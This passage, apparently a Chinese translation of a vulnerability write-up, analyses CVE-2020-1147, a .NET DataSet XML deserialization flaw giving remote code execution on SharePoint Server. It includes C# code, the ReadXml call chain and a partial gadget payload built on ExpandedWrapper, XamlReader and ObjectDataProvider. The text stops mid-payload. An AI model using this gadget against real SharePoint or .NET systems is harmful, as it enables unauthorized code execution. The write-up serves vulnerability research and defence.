0x00 前言
7月,在CVE-2020-1147漏洞发布时,我很好奇这个漏洞的表现形式,以及如何利用这个漏洞实现远程代码执行。由于我对于SharePoint Server和.NET比较了解,因此决定深入研究一下。
在这篇文章中,我将详细分析CVE-2020-1147漏洞,该漏洞由Oleksandr Mirosh、Markus Wulftange和Jonathan Birch独立发现。我将分享如何针对SharePoint Server实例利用这一漏洞的详细信息,使用低特权用户的身份获得远程代码执行。需要特别说明的是,在这里我并没有提供完整的漏洞利用,因此如果大家遇到问题,需要独立解决。
我比较关注的一个点在于,Microsoft引用了与该漏洞相关的安全指南,具体如下:
如果传入的XML数据包含其类型不在列表中的对象,则会引发异常。反序列化操作将会失败。在将XML加载到现有的DataSet或DataTable实例中时,还应该考虑现有的列定义。如果表中已经包含自定义类型的列定义,那么在XML反序列化操作期间,该类型将被临时添加到允许列表中。
有趣的是,这里可以指定类型,并且可以覆盖列定义。奇热而这对我来说似乎很有帮助,让我们来看一下如何创建DataSet对象。
0x01 理解DataSet对象
在数据集DataSet中,包含数据表Datatable,其中包括数据列DataColumn和数据行DataRow。更重要的是,它实现了ISerializable接口,这意味着我们可以使用XmlSerializer对其进行序列化。首先,创建一个DataTable:
static void Main(string[] args) { // instantiate the table DataTable exptable = new DataTable("exp table"); // make a column and set type information and append to the table DataColumn dc = new DataColumn("ObjectDataProviderCol"); dc.DataType = typeof(ObjectDataProvider); exptable.Columns.Add(dc); // make a row and set an object instance and append to the table DataRow row = exptable.NewRow(); row["ObjectDataProviderCol"] = new ObjectDataProvider(); exptable.Rows.Add(row); // dump the xml schema exptable.WriteXmlSchema("c:/poc-schema.xml"); }
使用WriteXmlSchema方法,可以写出该模式的定义。这段代码会产生以下内容:
< ?xml version="1.0" standalone="yes"? >< xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" > < xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true" > < xs:complexType > < xs:choice minOccurs="0" maxOccurs="unbounded" > < xs:element name="exp_x0020_table" > < xs:complexType > < xs:sequence > < xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" / > < /xs:sequence > < /xs:complexType > < /xs:element > < /xs:choice > < /xs:complexType > < /xs:element >< /xs:schema >
在查看DataSet的代码后发现,它使用WriteXml和ReadXML公开了自己的序列化方法(包装在XmlSerializer上):
System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving) System.Data.DataSet.ReadXmlDiffgram(XmlReader reader) System.Data.XmlDataLoader.LoadData(XmlReader reader) System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested) System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns) System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
现在,剩下的步骤就是将表格添加到数据集中,并对其进行序列化:
DataSet ds = new DataSet("poc"); ds.Tables.Add(exptable); using (var writer = new StringWriter()) { ds.WriteXml(writer); Console.WriteLine(writer.ToString()); }
这种序列化方式保留了模式类型,并在运行时使用实例化的XmlSerializer对象图中的单个DataSet预期类型来重建受到攻击者影响的类型。
0x02 DataSet Gadget
下面是可以构造的gadget示例,请注意,不要将它与ysoserial中的DataSet gadget混淆:
< DataSet > < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" > < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" > < xs:complexType > < xs:choice minOccurs="0" maxOccurs="unbounded" > < xs:element name="Exp_x0020_Table" > < xs:complexType > < xs:sequence > < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ > < /xs:sequence > < /xs:complexType > < /xs:element > < /xs:choice > < /xs:complexType > < /xs:element > < /xs:schema > < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" > <